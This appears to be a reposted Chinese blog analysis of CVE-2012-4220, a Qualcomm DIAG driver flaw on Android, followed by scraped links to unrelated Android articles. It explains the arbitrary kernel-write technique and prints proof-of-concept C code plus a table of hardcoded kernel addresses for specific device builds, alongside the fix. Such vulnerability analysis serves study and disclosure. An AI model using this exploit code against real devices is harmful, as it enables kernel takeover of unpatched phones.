Android exploit with a Qualcomm processor (CVE-2012-4220)

/*

本文章由 莫灰灰 编写,转载请注明出处。

作者:莫灰灰    邮箱: [email protected]

*/

1. 漏洞描述

在处理DIAG设备的ioctl系统调用参数时,一些未经验证的引用自用户层的不可信指针被使用了。对于本地安装的应用程序来说,可以使用这个漏洞来实施拒绝服务攻击,或者在内核下执行任意代码。

2. 漏洞分析

} else if (iocmd == DIAG_IOCTL_GET_DELAYED_RSP_ID) {
	struct diagpkt_delay_params *delay_params =
				(struct diagpkt_delay_params *) ioarg;
	if ((delay_params->rsp_ptr) &&
	 (delay_params->size == sizeof(delayed_rsp_id)) &&
			 (delay_params->num_bytes_ptr)) {
		*((uint16_t *)delay_params->rsp_ptr) =
			DIAGPKT_NEXT_DELAYED_RSP_ID(delayed_rsp_id);
		*(delay_params->num_bytes_ptr) = sizeof(delayed_rsp_id);

从上面的代码中可以看出,DIAG驱动在处理DIAG_IOCTL_GET_DELAYED_RSP_ID未对用户层传下来的参数做任何的校验就直接使用了,那么最简单的攻击就是内核拒绝服务攻击了,即把delay_params->rsp_ptr写成一个无效的地址。那么,这个漏洞显然可以有更高级的利用方法。

*((uint16_t *)delay_params->rsp_ptr) = DIAGPKT_NEXT_DELAYED_RSP_ID(delayed_rsp_id); 这个赋值操作,可以修改delay_params->rsp_ptr的值,DIAGPKT_NEXT_DELAYED_RSP_ID宏的代码如下:

#define DIAGPKT_MAX_DELAYED_RSP 0xFFFF

#define DIAGPKT_NEXT_DELAYED_RSP_ID(x)         ((x < DIAGPKT_MAX_DELAYED_RSP) ? x++ : DIAGPKT_MAX_DELAYED_RSP)

每调用一次DIAGPKT_NEXT_DELAYED_RSP_ID宏,那么全局变量delayed_rsp_id都会+1,最后等于ushort的最大值,即0xFFFF就不再+1了。

如何利用:

知道了原理之后,那么其实我们每一次ioctl调用可以修改2个字节。

1.通过ioctl得到当前delayed_rsp_id的值

2.如果delayed_rsp_id的值大于我们需要的值,那么通过*(delay_params->num_bytes_ptr) = sizeof(delayed_rsp_id);把delayed_rsp_id重置为2
(delayed_rsp_id的地址需要硬编码得到)

3.之后得到loop的次数,loop_count = (data_we_want - delayed_rsp_id_value) & 0xffff;

4.最后将delay_params->rsp_ptr地址里面的值修改为我们需要的值,从而达到任意地址修改的目的

5.如果是修改4字节的函数地址,那么可以分两次来修改

3.PoC

static bool
inject_value(struct diag_values *data,
             int fd, void *delayed_rsp_id_address)
{
  uint16_t delayed_rsp_id_value = 0;
  int i, loop_count, ret;

  // 通过ioctl调用,得到当前delayed_rsp_id的值
  ret = get_current_delayed_rsp_id(fd);
  if (ret < 0) {
    return false;
  }
  delayed_rsp_id_value = ret;
  data->original_value = delayed_rsp_id_value;

  // 如果delayed_rsp_id的值比我们需要的大,那么重置它
  // 其中delayed_rsp_id_address的地址是硬编码取得
  if (delayed_rsp_id_value > data->value &&
    reset_delayed_rsp_id(fd, delayed_rsp_id_address) < 0) {
    return false;
  }

  // 得到循环次数
  loop_count = (data->value - delayed_rsp_id_value) & 0xffff;

  // 利用delayed_rsp_id的值每调用一次+1的特性,修改为我们需要的值
  for (i = 0; i < loop_count; i++) {
    int unused;
    if (send_delay_params(fd, (void *)data->address, &unused) < 0) {
      return false;
    }
  }
  return true;
}

delayed_rsp_id_address的硬编码地址如下:

static supported_device supported_devices[] = {
  { DEVICE_F03D_V24R33Cc,     0xc0777dd0 },
  { DEVICE_F11D_V21R36A,      0xc092f1a4 },
  { DEVICE_F11D_V24R40A,      0xc091bf8c },
  { DEVICE_F11D_V26R42B,      0xc091bf8c },
  { DEVICE_F12C_V21,          0xc075aca4 },
  { DEVICE_IS17SH_01_00_03,   0xc0a546fc },
  { DEVICE_IS11N_GRJ90,       0xc0835758 },
  { DEVICE_ISW11K_145_0_0002, 0xc07f93a4 },
  { DEVICE_SC01E_LJ3,         0xc0bdfae0 },
  { DEVICE_SC05D_LPL,         0xc0cb0924 },
  { DEVICE_SCL21_LJD,         0xc0b96128 },
  { DEVICE_SO05D_7_0_D_1_117, 0xc0b8840c },
  { DEVICE_ISW12K_010_0_3000, 0xc0935104 },
};

4.漏洞修复

使用copy_from_user和copy_to_user函数保证用户层传入参数的正确性,而不是直接使用。

参考文章:https://www.codeaurora.org/projects/security-advisories/multiple-issues-diagkgsl-system-call-handling-cve-2012-4220-cve-2012

Android exploit with a Qualcomm processor (CVE-2012-4220)

时间: 2024-09-15 20:03:35

Android exploit with a Qualcomm processor (CVE-2012-4220)的相关文章

【转】高通平台android 环境配置编译及开发经验总结

原文网址:http://blog.csdn.net/dongwuming/article/details/12784535 1.高通平台android开发总结 1.1 搭建高通平台环境开发环境 在高通开发板上烧录文件系统 建立高通平台开发环境 高通平台,android和 modem 编译流程分析 高通平台 7620 启动流程分析 qcril 流程分析,设置sim卡锁 python scons 语法学习 Python 语言之 scons 工具流程分析: 1.2 搭建高通平台环境开发环境 高通and

Android Wi-Fi Display(Miracast)介绍

Android Wi-Fi Display(Miracast)介绍 2012年11月中旬,Google发布了Android 4.2.虽然它和Android 4.1同属Jelly Bean系列,但却添加了很多新的功能.其中,在显示部分,Android 4.2在Project Butter基础上再接再厉,新增了对Wi-Fi Display功能的支持.由此也导致整个显示架构发生了较大的变化. 本文首先介绍Wi-Fi Display的背景知识,然后再结合代码对Android 4.2中Wi-Fi Disp

Android平台下渗透测试工具大集合

Android平台下渗透测试工具大集合 分享一个google的项目,各种Android下的渗透测试工具. Ad Network Detector (1.2): http://market.android.com/details?id=com.lookout.addetector App Backup & Restore (1.0.5): http://market.android.com/details?id=mobi.infolife.appbackup App Cache Cleaner (

赵雅智:android教学大纲

带下划线为具体内容链接地址,点击后可跳转,希望给大家尽一些微薄之力,目前还在整理中 教学章节 教学内容 学时安排 备注 1 Android快速入门 2 Android模拟器与常见命令 3 Android用户界面设计 4 Android网络通信及开源框架引用 5 线程与消息处理 6 数据存储及访问 7 Android基本单元应用activity 8 Android应用核心Intent 9 资源访问 10 ContentProvider实现数据共享 11 BroadcastReceiver 12 S

Android平台介绍

一.Android平台介绍 什么是智能手机 具有独立的操作系统,独立的运行空间,可以由用户自行安装软件.游戏.导航等第三方应用程序,并可以通过移动通讯网络来实现无线网络接入的手机类型总称. 智能手机操作系统 Android.IOS.Windows Phone.BlackBerry.Symbian 什么是Android Android是一种基于Linux的开源操作系统,主要使用于移动设备,例如智能手机.平板电脑.智能手表.智能电视等等.由Google公司和开放手机联盟领导及开发.Android操作

Android平台jieahoa

一.Android平台介绍 什么是智能手机 具有独立的操作系统,独立的运行空间,可以由用户自行安装软件.游戏.导航等第三方应用程序,并可以通过移动通讯网络来实现无线网络接入的手机类型总称. 智能手机操作系统 Android.IOS.Windows Phone.BlackBerry.Symbian 什么是Android Android是一种基于Linux的开源操作系统,主要使用于移动设备,例如智能手机.平板电脑.智能手表.智能电视等等.由Google公司和开放手机联盟领导及开发.Android操作

Android ADT中增大AVD内存后无法启动:emulator failed to allocate memory 8

过程中,增大对应AVD的内存为2G后,结果无法启动AVD了: [2012-12-18 18:01:38 – Emulator] Failed to allocate memory: 8 [2012-12-18 18:01:38 – Emulator] [2012-12-18 18:01:38 – Emulator] This application has requested the Runtime to terminate it in an unusual way. [2012-12-18 1

HTML5会砸掉iOS和Android的饭碗么?

我们第一次谈论HTML5要改变世界大概是因为乔布斯,他坚持在iOS上不兼容Flash,在Adobe统治多媒体开发的那个年代,这需要付出极大的勇气.这么多年过去了,虽然所有人都在谈论HTML5,但是大部分人甚至都忘了它还是一个仍在完善中的体系. 2007年W3C(万维网联盟)立项HTML5,直至2014年10月底,这个长达八年的规范终于正式定稿.接下来,HTML5将真正开始颠覆原生 (Native) App 世界.虽然这种危言耸听已经让人有点厌烦.但是如果回顾HTML这些年走过的路,你就不会再怀疑

HTML 5 会让iOS和Android开发者转行吗?

我们第一次谈论 HTML5 要改变世界大概是因为乔布斯,他坚持在 iOS 上不兼容 Flash,在 Adobe 统治多媒体开发的那个年代,这需要付出极大的勇气.这么多年过去了,虽然所有人都在谈论 HTML5,但是大部分人甚至都忘了它还是一个仍在完善中的体系. 2007年W3C(万维网联盟)立项 HTML5,直至 2014年10月 底,这个长达八年的规范终于正式定稿.接下来,HTML5 将真正开始颠覆原生(Native) App 世界.虽然这种危言耸听已经让人有点厌烦.但是如果回顾 HTML 这些